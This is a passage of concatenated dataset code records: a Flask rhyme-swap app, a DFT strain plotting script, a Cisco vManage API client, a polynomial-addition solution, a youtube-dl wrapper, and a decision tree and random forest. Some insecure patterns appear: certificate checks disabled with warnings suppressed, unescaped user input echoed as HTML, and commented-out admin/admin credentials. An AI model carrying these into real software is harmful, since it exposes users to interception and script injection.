pronWordDictStress4.keys() and len(pronWordDictStress4.get(mo4String,[])) > 1:\n #print('stress4')\n rhymeList4 = pronWordDictStress4[mo4String]\n if searchStringUp in rhymeList4:\n del rhymeList4[rhymeList4.index(searchStringUp)]\n for i in range(len(rhymeList4)):\n rhymeListBig.append(rhymeList4[i])\n\n if mo3String in pronWordDictStress3.keys() and len(pronWordDictStress3.get(mo3String,[])) > 1:\n #print('stress3')\n rhymeList3 = pronWordDictStress3[mo3String]\n if searchStringUp in rhymeList3:\n del rhymeList3[rhymeList3.index(searchStringUp)]\n for i in range(len(rhymeList3)):\n rhymeListBig.append(rhymeList3[i])\n\n if mo2String in pronWordDictStress2.keys() and len(pronWordDictStress2.get(mo2String,[])) > 1:\n #print('stress2')\n rhymeList2 = pronWordDictStress2[mo2String]\n if searchStringUp in rhymeList2:\n del rhymeList2[rhymeList2.index(searchStringUp)]\n for i in range(len(rhymeList2)):\n rhymeListBig.append(rhymeList2[i])\n# randomRhyme = prettyRegex.sub('', randomRhyme)\n# randomRhyme = random.choice(rhymeList2)\n# print(randomRhyme)\n\n if mo1String in pronWordDictStress1.keys() and len(pronWordDictStress1.get(mo1String,[])) > 1:\n #print('stress1')\n rhymeList1 = pronWordDictStress1[mo1String]\n if searchStringUp in rhymeList1:\n del rhymeList1[rhymeList1.index(searchStringUp)]\n for i in range(len(rhymeList1)):\n rhymeListBig.append(rhymeList1[i])\n\n removeList = list()\n if len(rhymeListBig) > 0:\n for i in range(len(rhymeListBig)):\n rhymeListBig[i] = prettyRegex.sub('', rhymeListBig[i])\n if rhymeListBig[i] not in hyphenList and rhymeListBig[i] not in enable1List:\n removeList.append(rhymeListBig[i])\n #elif rhymeListBig[i] == searchStringUp:\n #removeList.append(rhymeListBig[i])\n\n for word in removeList:\n rhymeListBig.remove(word)\n\n if len(rhymeListBig) < 1:\n if mo4StringUnstressed in pronWordDict4.keys() and len(pronWordDict4.get(mo4StringUnstressed,[])) > 1:\n #print('4')\n rhymeList4 = pronWordDict4[mo4StringUnstressed]\n if searchStringUp in rhymeList4:\n del rhymeList4[rhymeList4.index(searchStringUp)]\n for i in range(len(rhymeList4)):\n rhymeListBig.append(rhymeList4[i])\n\n if mo3StringUnstressed in pronWordDict3.keys() and len(pronWordDict3.get(mo3StringUnstressed,[])) > 1:\n #print('3')\n rhymeList3 = pronWordDict3[mo3StringUnstressed]\n if searchStringUp in rhymeList3:\n del rhymeList3[rhymeList3.index(searchStringUp)]\n for i in range(len(rhymeList3)):\n rhymeListBig.append(rhymeList3[i])\n\n\n removeList = list()\n if len(rhymeListBig) > 0:\n for i in range(len(rhymeListBig)):\n rhymeListBig[i] = prettyRegex.sub('', rhymeListBig[i])\n if rhymeListBig[i] not in hyphenList and rhymeListBig[i] not in enable1List:\n removeList.append(rhymeListBig[i])\n #elif rhymeListBig[i] == searchStringUp:\n #removeList.append(rhymeListBig[i])\n\n for word in removeList:\n rhymeListBig.remove(word)\n\n\n if mo2StringUnstressed in pronWordDict2.keys() and len(pronWordDict2.get(mo2StringUnstressed,[])) > 1 and len(rhymeListBig) < 1:\n #print('2')\n rhymeList2 = pronWordDict2[mo2StringUnstressed]\n if searchStringUp in rhymeList2:\n del rhymeList2[rhymeList2.index(searchStringUp)]\n for i in range(len(rhymeList2)):\n rhymeListBig.append(rhymeList2[i])\n\n\n removeList = list()\n if len(rhymeListBig) > 0:\n for i in range(len(rhymeListBig)):\n rhymeListBig[i] = prettyRegex.sub('', rhymeListBig[i])\n if rhymeListBig[i] not in hyphenList and rhymeListBig[i] not in enable1List:\n removeList.append(rhymeListBig[i])\n #elif rhymeListBig[i] == searchStringUp:\n #removeList.append(rhymeListBig[i])\n\n for word in removeList:\n rhymeListBig.remove(word)\n\n\n if mo1StringUnstressed in pronWordDict1.keys() and len(pronWordDict1.get(mo1StringUnstressed,[])) > 1 and len(rhymeListBig) < 1:\n #print('1')\n rhymeList1 = pronWordDict1[mo1StringUnstressed]\n if searchStringUp in rhymeList1:\n del rhymeList1[rhymeList1.index(searchStringUp)]\n for i in range(len(rhymeList1)):\n rhymeListBig.append(rhymeList1[i])\n\n removeList = []\n if len(rhymeListBig) > 0:\n for i in range(len(rhymeListBig)):\n rhymeListBig[i] = prettyRegex.sub('', rhymeListBig[i])\n if rhymeListBig[i] not in hyphenList and rhymeListBig[i] not in enable1List:\n removeList.append(rhymeListBig[i])\n #elif rhymeListBig[i] == searchStringUp:\n #removeList.append(rhymeListBig[i])\n\n for word in removeList:\n rhymeListBig.remove(word)\n\n\n if len(rhymeListBig) > 0:\n #print(rhymeListBig)\n syllMatchList = list()\n for word in rhymeListBig:\n wordSyllCount = wordPronSyllDict[word][1]\n if wordSyllCount == searchStringSyllCount:\n syllMatchList.append(word)\n if len(syllMatchList) > 0:\n randomRhyme = random.choice(syllMatchList)\n randomRhyme = prettyRegex.sub('', randomRhyme)\n randomRhyme = randomRhyme.lower()\n return randomRhyme\n elif len(syllMatchList) == 0:\n randomRhyme = random.choice(rhymeListBig)\n randomRhyme = prettyRegex.sub('', randomRhyme)\n randomRhyme = randomRhyme.lower()\n return randomRhyme\n else:\n return searchString\n\n#@app.route('/input')\n#def home():\n# return render_template('home.html')\n\n#@app.route('/welcome')\n#def welcome():\n# return render_template('welcome.html')\n\n@app.route('/credits')\ndef credits():\n return render_template('credits.html')\n\n#def login_required(test):\n# @wraps(test)\n# def wrap(*args, **kwargs):\n#\t if 'logged_in' in session:\n# return test(*args, **kwargs)\n#\t else:\n# flash('You need to login first.')\n# return redirect(url_for('log'))\n# return wrap\n\n#@app.route('/logout')\n#def logout():\n#\tsession.pop('logged_in', None)\n#\tflash('You were logged out')\n#\treturn redirect (url_for('log'))\n\n#@app.route('/hello')\n#@login_required\n#def hello():\n# return render_template('hello.html')\n\n#@app.route('/log', methods=['GET', 'POST'])\n#def log():\n# error = None\n# if request.method == 'POST':\n# if request.form['username'] != 'admin' or request.form['password'] != 'admin':\n# error = 'Invalid Credentials. Please try again.'\n# else:\n# session['logged_in'] = True\n# return redirect(url_for('hello'))\n# return render_template('log.html', error=error)\n\n@app.route('/', methods=['GET', 'POST'])\ndef input():\n error = None\n if request.method == 'POST':\n rawLyrics = request.form['lyrics']\n if rawLyrics == '':\n error = 'Please input some lyrics.'\n else:\n rawWordsToSwap = request.form['swap']\n if rawWordsToSwap != []:\n wordsToSwapList = rawWordsToSwap.split()\n wordsToSwapList = list(filter(None,wordsToSwapList))\n else:\n wordsToSwapList = []\n\n #wordsToSwapList = request.form['swap'].split(' ')\n rhymesList = []\n if wordsToSwapList == []:\n wordsToSwapList = re.split('[^a-zA-Z0-9_\\-\\']',rawLyrics)\n #wordsToSwapList = re.split('\\W+',rawLyrics)\n wordsToSwapList = list(filter(None,wordsToSwapList))\n shortList = []\n for word in wordsToSwapList:\n if word not in shortList:\n shortList.append(word)\n wordsToSwapList = shortList\n wordsToSwapList = list(filter(None,wordsToSwapList))\n\n for i in range(len(wordsToSwapList)):\n rhymesList.append(rhymeSwap(wordsToSwapList[i]))\n swapDict = dict(zip(wordsToSwapList, rhymesList))\n for word in wordsToSwapList:\n swapRegex = re.compile('\\\\b(' + str(word) + ')\\\\b', flags=re.IGNORECASE)\n try:\n rawLyrics = re.sub(swapRegex, swapDict[word],rawLyrics)\n except (TypeError, KeyError, ValueError):\n continue\n br = '
'\n rawLyrics = re.sub(r'\\r\\n', br, rawLyrics)\n #rawLyrics.replace('\\r\\n',r).replace('\\n\\r',r).replace('\\r',r).replace('\\n',r)\n #return rawLyrics\n return '' + rawLyrics + ''\n\n\n return render_template('input.html', error=error)\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"routesFinal.py","file_name":"routesFinal.py","file_ext":"py","file_size_in_byte":13980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"565840872","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Distributed under the terms of the MIT License.\n\n\"\"\"\nScript to plot results of DFT calculations of ligand strain.\n\nAuthor: Andrew Tarzia\n\nDate Created: 15 Feb 2021\n\n\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport matplotlib.pyplot as plt\n\nfrom plotting import colors_i_like\n\n\ndef main():\n _figure_path = 'figures'\n\n csv_file = 'strain_energy_comparison.csv'\n data = pd.read_csv(csv_file)\n\n data['dft_kjpermol'] = data['dft'] * 2625.5\n\n fig, ax = plt.subplots(figsize=(5, 5))\n\n xray_data = data[data['from'] == 'crystal']\n calc_data = data[data['from'] == 'computation']\n print(xray_data)\n print(calc_data)\n\n ax.scatter(\n calc_data['xtb_kjpermol'],\n calc_data['dft_kjpermol'],\n c=colors_i_like()[10],\n edgecolors='k',\n marker='o',\n alpha=1.0,\n s=120,\n label='calculated',\n )\n\n ax.scatter(\n xray_data['xtb_kjpermol'],\n xray_data['dft_kjpermol'],\n c=colors_i_like()[11],\n edgecolors='k',\n marker='X',\n alpha=1.0,\n s=120,\n label='xray',\n )\n ax.plot(\n np.linspace(-10, 3000, 100), np.linspace(-10, 3000, 100),\n c='k'\n )\n # Set number of ticks for x-axis\n ax.tick_params(axis='both', which='major', labelsize=16)\n ax.set_xlabel(r'xTB strain energy [kJmol$^{-1}$]', fontsize=16)\n ax.set_ylabel(r'DFT strain energy [kJmol$^{-1}$]', fontsize=16)\n ax.set_xlim(0, 2500)\n ax.set_ylim(0, 2500)\n ax.legend(fontsize=16)\n fig.tight_layout()\n fig.savefig(\n os.path.join(_figure_path, 'strain_energy_comparison.pdf'),\n dpi=720, bbox_inches='tight'\n )\n\n ax.set_xlim(0, 600)\n ax.set_ylim(0, 600)\n ax.legend(fontsize=16)\n fig.tight_layout()\n fig.savefig(\n os.path.join(\n _figure_path, 'strain_energy_comparison_zoomed.pdf'\n ),\n dpi=720, bbox_inches='tight'\n )\n\n plt.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/plot_lse_dft.py","file_name":"plot_lse_dft.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"323385423","text":"import os\nimport requests\n\n\n\n\n# To stop the warrnings when doing get/post to https\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings()\n\n\n# Define vmanage host, port, user, pass as eviromental variable\n#export vmanage_host=IP/FQDN\n#export vmanage_port=port\n#export vmanage_username=username\n#export vmanage_password=password\n\nvmanage_host = os.environ.get(\"vmanage_host\")\nvmanage_port = os.environ.get(\"vmanage_port\")\nvmanage_username = os.environ.get(\"vmanage_username\")\nvmanage_password = os.environ.get(\"vmanage_password\")\n\nbase_url = f\"https://{vmanage_host}:{vmanage_port}\"\n\nurl_logout = base_url + \"/logout?nocache=1234\"\n\n\nclass Sdwan():\n def __init__(self, base_url=base_url, url_logout=url_logout, vmanage_host=vmanage_host, vmanage_port=vmanage_port, vmanage_username=vmanage_username, vmanage_password=vmanage_password):\n self.base_url = base_url\n self.url_logout=url_logout\n\n if vmanage_host is None or vmanage_port is None or vmanage_username is None or vmanage_password is None:\n print(\"some envs are missing. it is mandatory to set those env before running the app\")\n exit()\n\n self.vmanage_host= vmanage_host\n self.vmanage_port=vmanage_port\n self.vmanage_username=vmanage_username\n self.vmanage_password=vmanage_password\n\n self.sessionid = self.get_jsessionid()\n self.token = self.get_token()\n if self.token is not None:\n self.header = {'Content-Type': \"application/json\",'Cookie': self.sessionid, 'X-XSRF-TOKEN': self.token}\n else:\n self.header = {'Content-Type': \"application/json\",'Cookie': self.sessionid}\n print(\"pripremio header/ulogovao se\")\n \n # Try to get cookie\n def get_jsessionid(self):\n api = \"/j_security_check\"\n url = self.base_url + api\n \n payload = {'j_username' : self.vmanage_username, 'j_password' : self.vmanage_password}\n \n response = requests.post(url=url, data=payload, verify=False)\n\n try:\n cookies = response.headers[\"Set-Cookie\"]\n jsessionid = cookies.split(\";\")\n return(jsessionid[0])\n except:\n print(\"No valid JSESSION ID returned\")\n exit()\n \n # Try to get token\n def get_token(self):\n api = \"/dataservice/client/token\"\n url = self.base_url + api \n \n headers = {'Cookie': self.sessionid}\n\n response = requests.get(url=url, headers=headers, verify=False)\n \n if response.status_code == 200:\n return(response.text)\n else:\n return None\n\n\n def show_users(self):\n #random GET API for users list \n\n url = self.base_url + \"/dataservice/admin/user\"\n s=\"\"\n\n response = requests.get(url=url, headers=self.header,verify=False)\n if response.status_code == 200:\n items = response.json()['data']\n else:\n s= f\"Failed to get list of users {str(response.text)}\"\n return s\n\n\n for item in items:\n s=s+f\"- Username: {item.get('userName')} \\\\n Group: {item.get('group')} \\\\n Description: {item.get('description')}\\\\n\\\\n\"\n \n return s\n\n def show_devices(self):\n #random GET API for device list \n\n url = self.base_url + \"/dataservice/device\"\n s=\"\"\n\n response = requests.get(url=url, headers=self.header,verify=False)\n if response.status_code == 200:\n items = response.json()['data']\n else:\n s= f\"Failed to get list of devices {str(response.text)}\"\n return s\n\n\n for item in items:\n s=s+f\"- Device ID: {item.get('deviceId')}\\\\n\"\n \n return s \n\n\n def show_controllers(self):\n #random GET API for controller list \n\n url = self.base_url + \"/dataservice/system/device/controllers\"\n s=\"\"\n\n response = requests.get(url=url, headers=self.header,verify=False)\n if response.status_code == 200:\n items = response.json()['data']\n else:\n s= f\"Failed to get list of controllers {str(response.text)}\"\n return s\n\n\n for item in items:\n s=s+f\"- Controller: {item.get('deviceType')}\\\\n\"\n \n return s \n\n def show_vedges(self):\n #random GET API for vEdges list \n\n url = self.base_url + \"/dataservice/system/device/vedges\"\n s=\"\"\n\n response = requests.get(url=url, headers=self.header,verify=False)\n if response.status_code == 200:\n items = response.json()['data']\n else:\n s= f\"Failed to get list of vEdges {str(response.text)}\"\n return s\n\n for item in items:\n s=s+f\"vEdge: {item.get('serialNumber')}\\\\n\"\n \n return s\n\n def show_bfd(self, deviceId):\n #random GET API for BFD \n\n url = self.base_url + f\"/dataservice/device/bfd/sessions?deviceId={deviceId}\"\n s=\"\"\n\n response = requests.get(url=url, headers=self.header,verify=False)\n if response.status_code == 200:\n items = response.json()['data']\n else:\n s= f\"Failed to get BFD sessions {str(response.text)}\"\n return s\n\n for item in items:\n s=s+f\"BFD session: {item}\\\\n\"\n \n return s\n\n def show_ipsec(self,deviceId):\n #random GET API for IPSEC \n\n url = self.base_url + f\"/dataservice/device/ipsec/outbound?deviceId={deviceId}\"\n s=\"\"\n\n response = requests.get(url=url, headers=self.header,verify=False)\n if response.status_code == 200:\n items = response.json()['data']\n else:\n s= f\"Failed to get ipsec sessions {str(response.text)}\"\n return s\n\n for item in items:\n s=s+f\"IPSEC session: {item}\\\\n\"\n \n return s\n\n def logout(self):\n # Logout\n requests.get(url=self.url_logout, headers=self.header, verify=False,allow_redirects=False)\n print(\"izlogovao se\")","sub_path":"sdwan.py","file_name":"sdwan.py","file_ext":"py","file_size_in_byte":6084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"448048174","text":"if __name__ == '__main__':\n a = list(map(float, input().split()[1:]))\n b = list(map(float, input().split()[1:]))\n dict_a = dict()\n for i in range(0, len(a), 2):\n if str(int(a[i])) in dict_a: # 存在就+\n dict_a[str(int(a[i]))] += a[i+1]\n else:\n dict_a[str(int(a[i]))] = a[i + 1]\n\n for i in range(0, len(b), 2):\n if str(int(b[i])) in dict_a: # 存在就+\n dict_a[str(int(b[i]))] += b[i + 1]\n else:\n dict_a[str(int(b[i]))] = b[i + 1]\n\n answer_list = []\n num = len(dict_a)\n for item in sorted(map(int, dict_a.keys()), reverse=True):\n if dict_a[str(item)] == 0:\n num -= 1\n else:\n answer_list.append(item)\n answer_list.append(dict_a[str(item)])\n if num == 0:\n print('0')\n else:\n print(num, end=' ')\n for i in range(len(answer_list)):\n if i == len(answer_list) - 1:\n print('%.1f'%answer_list[i], end='')\n elif i % 2 == 0:\n print(answer_list[i], end=' ')\n else:\n print('%.1f' % answer_list[i], end=' ')\n\"\"\"\n用字典,存在的就系数相加,不存在的就直接加上去\n注意:\n输出一定要标准化 会存在0.1+0.1=0.20000001的情况\nkeys排序输出\n0的时候输出0\n注意负数\n测试用例:\n4 7 516.6 6 969.5 5 289.5 2 894.3\n8 10 409.7 7 374.8 6 132.1 5 405.7 4 804.9 3 678.7 2 191.2 0 11.6\n8 10 409.7 7 891.4 6 1101.6 5 695.2 4 804.9 3 678.7 2 1085.5 0 11.6\n\"\"\"\n\n","sub_path":"Advanced_level/1002.py","file_name":"1002.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"652268521","text":"from __future__ import unicode_literals\r\nimport youtube_dl\r\n\r\n\r\nclass Download():\r\n @staticmethod\r\n def download_song(song_url, song_title):\r\n\r\n ydl_opts = {\r\n 'outtmpl': song_title + '.%(ext)s',\r\n 'format': 'bestaudio/best',\r\n 'postprocessors': [{\r\n 'key': 'FFmpegExtractAudio',\r\n 'preferredcodec': 'mp3',\r\n 'preferredquality': '192',\r\n }],\r\n\r\n }\r\n\r\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\r\n ydl.cache.remove()\r\n # url = \"https://www.youtube.com/watch?v=2VDdP7lYiiI&ab_channel=7clouds\"\r\n #Rockabye - Clean Bandit ft. Sean Paul & Anne-Marie\r\n ydl.download([song_url])\r\n\r\n# if __name__ == \"__main__\":\r\n# #if (len(sys.argv) !=3):\r\n# #print(sys.argv[0], \": takes 2 arguments, not \", len(sys.argv) - 1, \".\")\r\n#\r\n# song_title = (sys.argv[1])\r\n# song_url = (sys.argv[2])\r\n#\r\n# download_song(song_url, song_title)\r\n\r\n\r\n","sub_path":"MP3/mp3download.py","file_name":"mp3download.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"272979438","text":"# Implementation of decision tree\nimport numpy as np\nimport math\nfrom itertools import combinations\nfrom collections import Counter\n\n\ndef limited_combinations(x, limit=200):\n \"\"\"takes in a vector x and produce combinations subject to a limit\"\"\"\n\n def nCr(n, r):\n f = math.factorial\n return f(n) / f(r) / f(n - r)\n\n x_size = x.shape[0]\n p, ncombs = 1, x_size\n while ncombs+nCr(x_size, p) <= limit and p+1 <= np.floor(x_size/2):\n p += 1\n ncombs += nCr(x_size, p)\n s = []\n for i in range(p):\n c = combinations(x, r=i+1)\n for ci in c:\n s.append(np.array(ci))\n\n return s\n\n\ndef stepper(start, stop, limit=200):\n r = 1\n while np.arange(start, stop, r).shape[0] > limit:\n r += 1\n return range(start, stop, r)\n\n\nclass Node:\n def __init__(self, dataID, featID, depth):\n self.dataID = dataID # amount of available data passed to this node\n self.featID = featID # amount of features available along this path to the node\n self.depth = depth # depth of node (0 for root node)\n self.leftID = None # id of left (positive) child\n self.rightID = None # id of right (negative) child\n self.feat = None # feature for decision making\n self.th = None # treshold value for type 0, nominal type id for type 1\n self.feat_type = None # type of feature for decision making, 0 or 1\n self.label = None # label value for leaf node\n\n def set_child(self, leftID, rightID):\n self.leftID = leftID\n self.rightID = rightID\n\n def set_decision(self, feat, th, feat_type):\n self.feat = feat\n self.th = th\n self.feat_type = feat_type\n\n def cleanup(self):\n del self.dataID\n del self.featID\n\n\nclass DecisionTree:\n def __init__(self, entropy_tol=0, max_depth=20, nom_lim=200, max_inc=200):\n self.entropy_tol = entropy_tol\n self.max_depth = max_depth\n self.nom_lim = nom_lim\n self.max_inc = max_inc\n self.node_list = [] # list to hold all nodes\n self.node_status = np.array([], dtype=np.int) # vector that shows status of node setup (1 finished, 0 not fin)\n self.n_labels = None # number of label classes\n self.data_type = None # data types for decision tree\n self.train_complete = False\n self.label_name = None\n\n def train(self, Data, Labels, Data_type):\n \"\"\"Train decision tree given data, labels and datatypes\n Input:\n Data - n by d vector\n Labels - n vector\n Data_type - n_features vector. 0 for continuous/ordinal data, 1 for nominal data\n \"\"\"\n\n assert Data_type.shape[0] == Data.shape[1]\n self.label_name = np.unique(Labels) # vector of possible label classes\n self.n_labels = self.label_name.shape[0] # number of label classes\n self.data_type = Data_type\n dataID = np.arange(Data.shape[0])\n featID = np.arange(Data.shape[1])\n # set up root node\n self.node_list.append(Node(dataID, featID, depth=0))\n self.node_status = np.append(self.node_status, [0])\n # loop through unfinished nodes\n n_unfinish = np.sum((self.node_status == 0).astype(np.int)) # number of unfinished nodes\n while n_unfinish != 0:\n # find id of next node to work on\n n_next = np.where(self.node_status == 0)[0][0]\n # process node\n self.node_process(n_next, Data, Labels, Data_type)\n n_unfinish = np.sum((self.node_status == 0).astype(np.int)) # number of unfinished nodes\n\n self.train_complete = True\n\n def entropy(self, labels):\n \"\"\"Compute the entropy of a given dataset\n Input:\n labels - n vector\n Output:\n H - entropy of given dataset\n \"\"\"\n if labels.shape[0] > 0:\n # count number of labels in each class\n count = np.zeros(self.n_labels)\n for i in range(self.n_labels):\n count[i] = np.sum((labels == self.label_name[i]).astype(np.int))\n prob = count/np.sum(count)\n prob = prob[prob != 0] # prevent log(0)\n H = -np.sum(np.multiply(prob, np.log2(prob)))\n else:\n H = 0\n return H\n\n def node_process(self, nodeid, Data, Labels, Data_type):\n \"\"\"use a given dataset and update node info and create child nodes\n Input:\n nodeid - id of the node in node_list\n Data - n by d vector\n Labels - n vector\n Data_type - n_features vector. 0 for continuous/ordinal data, 1 for nominal data\n\n Output:\n sets corresponding attributes in node\n \"\"\"\n node = self.node_list[nodeid]\n # decide whether continue splittng or set as leaf\n ent = self.entropy(Labels[node.dataID])\n if ent < self.entropy_tol or node.depth > self.max_depth: # set as leaf\n node.label, _ = Counter(Labels[node.dataID]).most_common(1)[0]\n self.node_status[nodeid] = 1\n node.cleanup()\n else: # find splitting feature and set up child node\n score = np.zeros(node.featID.shape[0])\n th_list = []\n labels = Labels[node.dataID]\n for i in node.featID: # loop through candidate features\n data_i = Data[node.dataID, i]\n n_data = data_i.shape[0]\n if Data_type[i] == 0: # continuous or ordinal data\n # sort data and labels\n ind = np.argsort(data_i)\n data_i, labels_i = data_i[ind], labels[ind]\n unique_data = np.unique(data_i)\n if unique_data.shape[0] > 1:\n mid_val = (unique_data[:-1]+unique_data[1:])/2\n else:\n mid_val = unique_data\n # initial split\n l1, l2 = labels_i[data_i > mid_val[0]], labels_i[data_i <= mid_val[0]]\n H1, H2 = self.entropy(l1), self.entropy(l2)\n best_H = l1.shape[0]/n_data*H1+l2.shape[0]/n_data*H2\n best_j = 0\n for j in stepper(1, mid_val.shape[0], limit=self.max_inc):\n l1, l2 = labels_i[data_i > mid_val[j]], labels_i[data_i <= mid_val[j]]\n H1, H2 = self.entropy(l1), self.entropy(l2)\n H = l1.shape[0]/n_data*H1+l2.shape[0]/n_data*H2\n if H < best_H:\n best_H = H\n best_j = j\n # update threshold and best entropy for this feature\n score[i] = best_H\n th_list.append(mid_val[best_j])\n else: # nominal data\n nom = np.unique(data_i) # nominal data classes\n s = limited_combinations(nom, limit=self.nom_lim) # all combinations of nom\n ind = np.in1d(data_i, s[0])\n l1, l2 = labels[ind], labels[np.invert(ind)]\n H1, H2 = self.entropy(l1), self.entropy(l2)\n best_H = l1.shape[0] / n_data * H1 + l2.shape[0] / n_data * H2\n best_j = 0\n for j in range(1, len(s)):\n ind = np.in1d(data_i, s[j])\n l1, l2 = labels[ind], labels[np.invert(ind)]\n H1, H2 = self.entropy(l1), self.entropy(l2)\n H = l1.shape[0] / n_data * H1 + l2.shape[0] / n_data * H2\n if H < best_H:\n best_H = H\n best_j = j\n # update threshold and best entropy for this feature\n score[i] = best_H\n th_list.append(s[best_j])\n i_best = np.argmin(score)\n feat = node.featID[i_best]\n if ent - score[i_best] > self.entropy_tol:\n node.set_decision(feat, th_list[i_best], Data_type[feat])\n # split data into two packets\n # featID_child = node.featID[node.featID != node.feat]\n featID_child = node.featID\n node_depth_child = node.depth+1\n data_i = Data[node.dataID, node.feat]\n if node.feat_type == 0: # continuous/ordinal data\n dataID_left = node.dataID[data_i > node.th]\n dataID_right = node.dataID[data_i <= node.th]\n else: # nominal data\n dataID_left = node.dataID[np.in1d(data_i, node.th)]\n dataID_right = node.dataID[np.invert(np.in1d(data_i, node.th))]\n # construct new child nodes\n leftID = len(self.node_list)\n self.node_list.append(Node(dataID_left, featID_child, node_depth_child)) # construct left child\n self.node_status = np.append(self.node_status, [0])\n rightID = len(self.node_list)\n self.node_list.append(Node(dataID_right, featID_child, node_depth_child)) # construct right child\n self.node_status = np.append(self.node_status, [0])\n # set child for current node and cleanup\n node.set_child(leftID, rightID)\n node.cleanup()\n self.node_status[nodeid] = 1\n else: # if entropy gain is too little, make into a leaf\n node.label, _ = Counter(Labels[node.dataID]).most_common(1)[0]\n self.node_status[nodeid] = 1\n node.cleanup()\n\n def predict(self, test_data):\n \"\"\"Channel test data down the decision tree and produce predictions\n Input:\n test_data - n by d vector\n Data_type - d vector. 0 for continuous/ordinal data, 1 for nominal data\n\n Output:\n prediction - n vector of predictions\n \"\"\"\n assert(test_data.shape[1] == self.data_type.shape[0])\n assert self.train_complete\n prediction = np.zeros(test_data.shape[0])\n for i in range(test_data.shape[0]): # go through the different test data\n nodeid = 0\n while self.node_list[nodeid].label is None:\n feat = self.node_list[nodeid].feat\n th = self.node_list[nodeid].th\n dtype = self.data_type[feat]\n if dtype == 0: # continuous/ordinal data\n if test_data[i, feat] > th:\n nodeid = self.node_list[nodeid].leftID\n else:\n nodeid = self.node_list[nodeid].rightID\n else: # nominal data\n if np.in1d(test_data[i, feat], th)[0]:\n nodeid = self.node_list[nodeid].leftID\n else:\n nodeid = self.node_list[nodeid].rightID\n prediction[i] = self.node_list[nodeid].label\n return prediction\n\n def export_decisions(self, data_point):\n \"\"\"export decisions along the decision tree for one data point\"\"\"\n\n if data_point.shape[0] != 1:\n data_point = data_point.reshape([1, -1])\n threshold = []\n features = []\n nodeid = 0\n while self.node_list[nodeid].label is None:\n feat = self.node_list[nodeid].feat\n th = self.node_list[nodeid].th\n features.append(feat)\n threshold.append(th)\n dtype = self.data_type[feat]\n if dtype == 0: # continuous/ordinal data\n if data_point[0, feat] > th:\n nodeid = self.node_list[nodeid].leftID\n else:\n nodeid = self.node_list[nodeid].rightID\n else: # nominal data\n if np.in1d(data_point[0, feat], th)[0]:\n nodeid = self.node_list[nodeid].leftID\n else:\n nodeid = self.node_list[nodeid].rightID\n prediction = self.node_list[nodeid].label\n return threshold, features, prediction\n\n def explain_decisions(self, data_point, encoder, category_labels, all=True, this_pick=[]):\n \"\"\"verbally explain decisions made along the decision tree for one data point\"\"\"\n\n if data_point.shape[0] != 1:\n data_point = data_point.reshape([1, -1])\n threshold, features, predicition = self.export_decisions(data_point)\n if all:\n r = range(len(threshold))\n else:\n r = range(1)\n for i in r:\n th, feat = threshold[i], features[i]\n if this_pick != []:\n feat_glob = this_pick[feat]\n if self.data_type[feat] == 0: # continuous or ordinal feature\n if data_point[0, feat_glob] > th:\n print(\"Node {0}: feature {1}: {2} > {3}\".format(i, category_labels[feat_glob], data_point[0, feat_glob], th))\n else:\n print(\"Node {0}: feature {1}: {2} <= {3}\".format(i, category_labels[feat_glob], data_point[0, feat_glob], th))\n else: # nominal feature\n ec = encoder[feat_glob]\n s = \" or \"\n str1 = ec.inverse_transform(data_point[0, feat_glob])\n # str1 = str1[0]\n str2 = ec.inverse_transform(th)\n str2 = s.join(str2)\n if np.in1d(data_point[0, feat_glob], th)[0]:\n print(\"Node {0}: feature {1}: \".format(i, category_labels[feat_glob]) + str1 + \" is in \" + str2)\n else:\n print(\"Node {0}: feature {1}: \".format(i, category_labels[feat_glob]) + str1 + \" not in \" + str2)\n if all:\n print(\"Conclusion: predicted label = {0}\".format(predicition))\n\n\nclass random_forest():\n def __init__(self, population=5, feature_rate=0.8, entropy_tol=0, max_depth=20, nom_lim=200, max_inc=200):\n self.population = population\n self.feature_rate = feature_rate\n self.entropy_tol = entropy_tol\n self.max_depth = max_depth\n self.nom_lim = nom_lim\n self.max_inc = max_inc\n self.train_complete = False\n self.forest = []\n self.picks = []\n self.data_type = None\n\n def train(self, data, labels, data_type, toprint=True):\n self.data_type = data_type\n for t in range(self.population):\n if toprint:\n print(\"Training tree {0} of {1}\".format(t+1, self.population))\n this_pick = np.sort(np.random.permutation(data.shape[1])[:int(np.ceil(self.feature_rate * data.shape[1]))])\n this_tree = DecisionTree(entropy_tol=self.entropy_tol, max_depth=self.max_depth, nom_lim=self.nom_lim,\n max_inc=self.max_inc)\n this_data_type = data_type[this_pick]\n this_data = data[:, this_pick]\n this_tree.train(this_data, labels, this_data_type)\n # store this tree in forest\n self.forest.append(this_tree)\n self.picks.append(this_pick)\n self.train_complete = True\n\n def predict(self, test_data):\n assert(test_data.shape[1] == self.data_type.shape[0])\n forest_predict = np.zeros([test_data.shape[0], self.population])\n # generate prediction with each tree\n for i in range(self.population):\n this_pick = self.picks[i]\n this_test_data = test_data[:, this_pick]\n forest_predict[:, i] = self.forest[i].predict(this_test_data)\n # vote\n concensus = np.zeros(test_data.shape[0])\n for i in range(test_data.shape[0]):\n concensus[i], _ = Counter(forest_predict[i, :]).most_common(1)[0]\n return concensus\n\n def explain_top_node(self, data_point, encoder, category_labels):\n for i in range(len(self.forest)):\n this_pick = self.picks[i]\n t = self.forest[i]\n t.explain_decisions(data_point, encoder, category_labels, all=False, this_pick=this_pick)","sub_path":"CS289/hw5_code/hw5_dtree.py","file_name":"hw5_dtree.py","file_ext":"py","file_size_in_byte":15978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"100638034","text":"# -*- coding: utf-8 -*-\nfrom __future__ import 